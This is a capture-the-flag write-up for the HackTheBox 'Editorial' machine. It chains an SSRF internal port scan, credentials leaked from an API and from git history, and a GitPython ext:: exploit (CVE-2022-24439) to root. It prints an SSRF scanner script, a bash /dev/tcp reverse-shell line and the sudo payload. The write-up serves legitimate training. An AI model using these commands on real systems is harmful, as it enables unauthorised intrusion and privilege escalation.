All writeups
HackTheBox: Editorial avatar
MACHINE Linux HackTheBox 2/5

HackTheBox: Editorial

2026-06-08 10 min read
Tracks CWES
Services nginxssh

Introduction

Editorial is an easy Linux machine built around a publishing web application with a Server-Side Request Forgery (SSRF) vulnerability. That single bug cascades into full root access across four clean steps - it’s an excellent box for learning how SSRF can expose internal services and how to chain small findings together into a complete compromise. The path to root:

  1. Enumeration → Nmap finds port 80 (Nginx) and port 22 (SSH). The site has a “Publish with us” form with a Cover URL field
  2. SSRF discovery → the Cover URL field fetches URLs server-side. Pointing it at our Netcat listener confirms the server makes outbound HTTP requests
  3. Internal port scan via SSRF → a Python script fuzzes 127.0.0.1:1-65535. Port 5000 returns JSON instead of a .jpeg - an internal API
  4. API enumeration → the /api/latest/metadata/messages/authors endpoint leaks SSH credentials for the dev user → user flag
  5. Git enumerationdev’s home directory contains a .git repo. git log + git show on a suspicious commit reveals credentials for the prod user
  6. CVE-2022-24439 (GitPython RCE)prod can run a Python script as root via sudo. The script calls Repo.clone_from() without sanitising input. The ext:: URL handler passes our argument directly to sh → root shell → root flag

Key Concepts

What is Server-Side Request Forgery (SSRF)? SSRF happens when a web application fetches a URL on your behalf - and you can control that URL. Instead of pointing it at a legitimate resource, you point it at internal infrastructure (like http://127.0.0.1:5000) that the server can reach but you normally can’t. The server makes the request and returns the response, effectively acting as a proxy into its own internal network.

Why is an internal API dangerous? Internal APIs are often written without authentication because they’re assumed to be unreachable from the outside. Once SSRF exposes them, you’re interacting with them directly - including any endpoints that return sensitive data like credentials.

What is git log and git show? git log lists every commit ever made to a repository, including the author, timestamp, and message. git show <hash> displays the full diff for that commit - every line added and removed. Developers sometimes accidentally commit credentials, API keys, or config files. Even if those files are later deleted, the commit history preserves them forever.

What is CVE-2022-24439? A Remote Code Execution vulnerability in the GitPython library (the Python git module). The Repo.clone_from() function accepts a URL to clone from. If protocol.ext.allow=always is set, GitPython allows the ext:: URL scheme, which passes the URL argument directly to the shell as a command. Since the script runs with sudo, our command runs as root.

What is sudo -l? sudo -l lists the commands a user is allowed to run as another user (usually root) without a full password. It’s one of the first things to check after gaining a shell - a misconfigured sudo entry is one of the most common privilege escalation paths on Linux.


Enumeration

Nmap

ports=$(nmap -Pn -p- --min-rate=1000 -T4 <TARGET> | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -Pn -sC -sV <TARGET>

Key open ports:

PortServiceNotes
22SSH - OpenSSH 8.9p1Used later for foothold
80HTTP - Nginx 1.18.0Redirects to editorial.htb

Only two ports. Add the hostname to your hosts file:

echo "<TARGET> editorial.htb" | sudo tee -a /etc/hosts

HTTP: Exploring the Web Application

Visiting http://editorial.htb shows a publishing company website. The navigation bar has a “Publish with us” page. That form has several fields, and crucially - a Cover URL field that lets authors link to their book cover image.

This field is the attack surface. The server fetches whatever URL you give it to generate a preview. That’s the SSRF vector.


Confirming SSRF

Start a Netcat listener on your machine:

nc -lnvp 5555

In the Cover URL field, enter your IP and the listening port:

http://<YOUR_IP>:5555

Send the request via Burp Repeater (or just click Preview in the browser). Two things happen:

  1. The application returns 200 OK
  2. Your Netcat listener receives a callback:
connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET>] 59540
GET / HTTP/1.1
Host: <YOUR_IP>:5555
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Note the User-Agent: python-requests/2.25.1 - the backend is making HTTP requests using Python’s requests library. This detail tells you what you’re working with internally.

The server is making outbound HTTP requests based on user input. SSRF confirmed.


Internal Port Scanning via SSRF

Now that we control what the server fetches, we point it at 127.0.0.1 with different ports to discover internal services.

Key observation: When we point the URL at http://127.0.0.1:80, the server returns a path ending in .jpeg (a static image). That’s the baseline. Any port running a different kind of service will return something that doesn’t end in .jpeg.

Using Burp Suite Intruder (free tier) is slow, so write a Python script instead:

#!/usr/bin/python3
import requests

# Create an empty placeholder file for the bookfile upload field
with open("a", 'wb') as f:
    f.write(b'')

for port in range(1, 65535):
    with open("a", 'rb') as file:
        data_post = {"bookurl": f"http://127.0.0.1:{port}"}
        data_file = {"bookfile": file}
        try:
            r = requests.post(
                "http://editorial.htb/upload-cover",
                files=data_file,
                data=data_post
            )
            # If the response doesn't end in .jpeg, it's interesting
            if not r.text.strip().endswith('.jpeg'):
                print(f"{port} --- {r.text}")
        except requests.RequestException as e:
            print(f"Error on port {port}: {e}")

Run it:

python3 ssrf_scan.py

Output:

5000 --- static/uploads/85389d97-3812-4851-b49e-1f843f356e45

Port 5000 returns a file path instead of a .jpeg. There’s something running internally on port 5000.


API Enumeration: Finding Credentials

Step 1: Retrieve the API response

Go back to the web form and set the Cover URL to:

http://127.0.0.1:5000

Click Preview. Right-click the generated “image” thumbnail → Open image in new tab. A file downloads. Check what it is:

file <downloaded_filename>
# <filename>: JSON text data

View it with jq for clean formatting:

cat <downloaded_filename> | jq

The JSON describes an internal API with several endpoints:

{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ]
}

The new_authors endpoint sounds interesting - it sends welcome messages to new authors. Welcome messages often include credentials.

Step 2: Query the authors endpoint

Set the Cover URL to:

http://127.0.0.1:5000/api/latest/metadata/messages/authors

Again, open the downloaded file:

curl http://editorial.htb/static/uploads/<new_filename> | jq
{
  "template_mail_message": "Welcome to the team! ... \n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\n..."
}

Credentials found:

FieldValue
Usernamedev
Passworddev080217_devAPI!@

Step 3: SSH in and grab the user flag

ssh dev@<TARGET>
# Password: dev080217_devAPI!@
dev@editorial:~$ id
uid=1001(dev) gid=1001(dev) groups=1001(dev)

dev@editorial:~$ cat user.txt
c8a990f2e0d936ec96c3fa680e3e91a8

Lateral Movement: Git History Reveals prod Credentials

Look at dev’s home directory:

dev@editorial:~$ ls
apps  user.txt

Check the apps folder:

dev@editorial:~/apps$ ls -la
drwxr-xr-x 8 dev dev 4096 Jun  5 14:36 .git

There’s a hidden .git directory - this is a Git repository. Always enumerate Git history; developers frequently commit credentials by mistake and never remove them from the history.

Check the commit log

dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
    fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
    change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
    change(api): downgrading prod to dev

commit 1e84a036b2f33c59e2390730699a488c65643d28
    feat: create api to editorial info

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
    feat: create editorial app

The commit “change(api): downgrading prod to dev” stands out - it suggests the developer swapped production credentials for development ones. The old (production) credentials would be visible in the diff.

Inspect the suspicious commit

dev@editorial:~/apps$ git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae

In the diff, you’ll see two versions of template_mail_message. The removed line (prefixed with -) is the old production version:

- 'template_mail_message': "... Username: prod\nPassword: 080217_Producti0n_2023!@ ..."
+ 'template_mail_message': "... Username: dev\nPassword: dev080217_devAPI!@ ..."

prod credentials found:

FieldValue
Usernameprod
Password080217_Producti0n_2023!@

Switch to prod

dev@editorial:~/apps$ su prod
Password: 080217_Producti0n_2023!@

prod@editorial:/home/dev/apps$

Privilege Escalation: CVE-2022-24439 (GitPython RCE)

Check sudo permissions

prod@editorial:~$ sudo -l
User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *

prod can run a specific Python script as root. The * at the end means we can pass any arguments we want.

Read the script

cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])

The script takes a URL from sys.argv[1] and passes it directly to Repo.clone_from() from the GitPython library - with protocol.ext.allow=always set.

Why is protocol.ext.allow=always dangerous? Git supports a URL scheme called ext:: that lets Git hand off a URL to an external program for transport. Normally this is disabled for security. With allow=always, it’s enabled - and our input goes straight to the shell.

This is CVE-2022-24439. The fix is input validation, which this script has none of.

Build the exploit

Create a reverse shell script on the target:

echo "bash -i >& /dev/tcp/<YOUR_IP>/4444 0>&1" > /tmp/shell.sh
chmod +x /tmp/shell.sh

Start a Netcat listener on your machine:

nc -lnvp 4444

Trigger the exploit

The ext:: URL scheme works like this:

  • ext::sh -c <command> - passes the command to sh for execution
  • Spaces in the command must be URL-encoded as %20
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py \
  'ext::sh -c bash%20/tmp/shell.sh'

Breaking down the payload:

  • ext:: - tells GitPython to use an external command as the transport
  • sh -c bash%20/tmp/shell.sh - runs our reverse shell script via sh
  • %20 - URL-encoded space (required because spaces break argument parsing)

Check your Netcat listener:

connect to [<YOUR_IP>] from (UNKNOWN) [<TARGET>] 35412
root@editorial:/opt/internal_apps/clone_changes# id
uid=0(root) gid=0(root) groups=0(root)

Grab the root flag

root@editorial:/opt/internal_apps/clone_changes# cat /root/root.txt
3f62347f6602b5b9cfda0c5623c810c6

Summary

nmap → port 22 (SSH), port 80 (Nginx → editorial.htb)

"Publish with us" form → Cover URL field fetches URLs server-side

nc -lnvp 5555 → Cover URL = http://<YOUR_IP>:5555 → callback received → SSRF confirmed

Python SSRF scanner → http://127.0.0.1:1-65535 → port 5000 returns JSON (not .jpeg)

Cover URL = http://127.0.0.1:5000 → internal API discovered

/api/latest/metadata/messages/authors → JSON response leaks:
    dev : dev080217_devAPI!@

ssh dev@<TARGET> → USER FLAG

~/apps → hidden .git directory
git log → suspicious commit "change(api): downgrading prod to dev"
git show b73481bb → diff reveals:
    prod : 080217_Producti0n_2023!@

su prod → sudo -l → can run clone_prod_change.py as root

cat clone_prod_change.py → Repo.clone_from(argv[1]) + protocol.ext.allow=always
→ CVE-2022-24439 (GitPython ext:: RCE)

echo "bash -i >& /dev/tcp/<IP>/4444 0>&1" > /tmp/shell.sh
sudo python3 clone_prod_change.py 'ext::sh -c bash%20/tmp/shell.sh'

root@editorial → ROOT FLAG

Tools Used

ToolWhat it doesHow to get it
nmapNetwork port scanner - identifies open ports and servicesPre-installed on Kali
Burp SuiteHTTP proxy and repeater - intercepts and replays web requestsPre-installed on Kali
netcat (nc)Raw TCP listener - confirms SSRF callbacksPre-installed on Kali
Python requestsHTTP library used in the SSRF port scanner scriptpip install requests
jqPretty-prints and parses JSON output in the terminalsudo apt install jq
curlFetches files from URLs - used to retrieve API responsesPre-installed on Kali
git logLists commit history of a Git repositoryPre-installed on Kali
git showDisplays the full diff of a specific commitPre-installed on Kali
sshConnects to remote systems over SSHPre-installed on Kali
suSwitches to another user account on LinuxPre-installed on Kali
sudoRuns commands with elevated privilegesPre-installed on Kali